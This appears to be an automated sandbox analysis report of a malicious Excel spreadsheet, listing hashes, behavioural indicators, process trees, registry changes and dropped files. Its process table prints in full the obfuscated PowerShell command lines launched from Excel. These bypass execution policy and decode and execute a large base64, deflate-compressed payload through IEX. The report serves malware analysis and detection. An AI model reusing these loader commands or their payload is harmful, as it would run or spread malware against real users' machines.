| File name: | Documento_059025_FT_20190415_0005008_.xls |
| Full analysis: | https://app.any.run/tasks/7776f0fc-fe25-4811-86c3-b1a1e8887ba2 |
| Verdict: | Malicious activity |
| Analysis date: | April 15, 2019, 06:52:59 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: utetnte, Last Saved By: IEUser, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Apr 11 12:50:29 2019, Last Saved Time/Date: Fri Apr 12 09:11:38 2019, Security: 0 |
| MD5: | BDCA0278481F87DF29F57F9A59BEE23C |
| SHA1: | 64C21E56D8F35B9B0F9F1533F0B8850FAF31DD75 |
| SHA256: | 9DC2A7A5A2F6A93CCEDD912CE3A529D7C42155396A5610536ECF107DF15DDAB1 |
| SSDEEP: | 1536:mn1DN3aMePUKccCEW8yjJTdrBZq8/Ek3hOdsylKlgryzc4bNhZFGzE+cL2knAxl+:mn1DN3aM+UKccCEW8yjJTdrBZq8/Ek3z |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2076)
Executes PowerShell scripts
- EXCEL.EXE (PID: 2076)
SUSPICIOUS
Application launched itself
- rundll32.exe (PID: 2720)
- powershell.exe (PID: 3368)
Uses RUNDLL32.EXE to load library
- rundll32.exe (PID: 2720)
Creates files in the user directory
- powershell.exe (PID: 3368)
- powershell.exe (PID: 3640)
Executes PowerShell scripts
- powershell.exe (PID: 3368)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3564)
- EXCEL.EXE (PID: 1160)
- EXCEL.EXE (PID: 2076)
Creates files in the user directory
- EXCEL.EXE (PID: 1160)
- EXCEL.EXE (PID: 3564)
- EXCEL.EXE (PID: 2076)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (48) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (39.2) |
EXIF
FlashPix
| Author: | utetnte |
|---|---|
| LastModifiedBy: | IEUser |
| Software: | Microsoft Excel |
| CreateDate: | 2019:04:11 11:50:29 |
| ModifyDate: | 2019:04:12 08:11:38 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Microsoft |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | aprile 2019 |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 31 |
| CompObjUserType: | Microsoft Excel 2003 Worksheet |
Total processes
44
Monitored processes
9
Malicious processes
1
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 636 | "C:\Windows\system32\rundll32.exe" shell32.dll,Control_RunDLL input.dll | C:\Windows\system32\rundll32.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1136 | "C:\Windows\system32\rundll32.exe" shell32.dll,Control_RunDLL input.dll | C:\Windows\system32\rundll32.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1160 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2076 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2720 | "C:\Windows\System32\rundll32.exe" C:\Windows\System32\shell32.dll,Control_RunDLL C:\Windows\System32\intl.cpl | C:\Windows\System32\rundll32.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3368 | powershell -w 1 -nOPROF -NONinTe -exEcUtI BYPass -C "set-variable -name "LB" -value "I"; set-variable -name "I" -value "E"; set-variable -name "V" -value "X"; set-variable -name "wP" -value ((get-variable LB).value.toString()+(get-variable I).value.toString()+(get-variable V).value.toString()) ; powershell (get-variable wP).value.toString()('('' & ((gv ''''*MDr*'''').naMe[3,11,2]-Join'''''''') (neW-obJECt syStEM.Io.comPREssioN.deFlATEsTrEaM( [IO.MeMorYstrEAm][cONveRt]::frombAsE64STring( ''''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'''' ), [io.COmPressioN.CoMpReSSIOnmodE]::DeCoMpReSS )|foReach{ neW-obJECt iO.StreAMREaDeR($_, [SystEM.tEXT.ENCOdinG]::AsCII ) }).REAdtoEND( )'')')" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3564 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3640 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" IEX "(' & ((gv ''*MDr*'').naMe[3,11,2]-Join'''') (neW-obJECt syStEM.Io.comPREssioN.deFlATEsTrEaM( [IO.MeMorYstrEAm][cONveRt]::frombAsE64STring( ''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'' ), [io.COmPressioN.CoMpReSSIOnmodE]::DeCoMpReSS )|foReach{ neW-obJECt iO.StreAMREaDeR($_, [SystEM.tEXT.ENCOdinG]::AsCII ) }).REAdtoEND( )')" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3776 | C:\Windows\system32\mctadmin.exe | C:\Windows\system32\mctadmin.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MCTAdmin Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
3 067
Read events
1 978
Write events
1 007
Delete events
82
Modification events
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | 6+5 |
Value: 362B350088040000010000000000000000000000 | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel |
| Operation: | write | Name: | MTTT |
Value: 88040000FCCE67EC57F3D40100000000 | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete value | Name: | 6+5 |
Value: 362B350088040000010000000000000000000000 | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (1160) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\E7636 |
| Operation: | write | Name: | E7636 |
Value: 04000000880400004000000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C0044006F00630075006D0065006E0074006F005F003000350039003000320035005F00460054005F00320030003100390030003400310035005F0030003000300035003000300038005F002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C00010000000000000050898EEE57F3D40136760E0036760E0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
Executable files
0
Suspicious files
6
Text files
10
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1160 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR6BA6.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1160 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFB1A46F0D4242B6F7.TMP | — | |
MD5:— | SHA256:— | |||
| 1160 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFF7E69A827E3A94F0.TMP | — | |
MD5:— | SHA256:— | |||
| 3564 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRAB9D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3564 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFD35FE8FEF69B95FD.TMP | — | |
MD5:— | SHA256:— | |||
| 3564 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF57ECACFF1CD0B401.TMP | — | |
MD5:— | SHA256:— | |||
| 2076 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRFBDB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3368 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2BD6ZADV22E4EPU9K9MB.temp | — | |
MD5:— | SHA256:— | |||
| 3640 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WM900AV69H13QBRZ4C39.temp | — | |
MD5:— | SHA256:— | |||
| 3564 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Documento_059025_FT_20190415_0005008_.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
DNS requests
Threats
Process | Message |
|---|---|
powershell.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
powershell.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|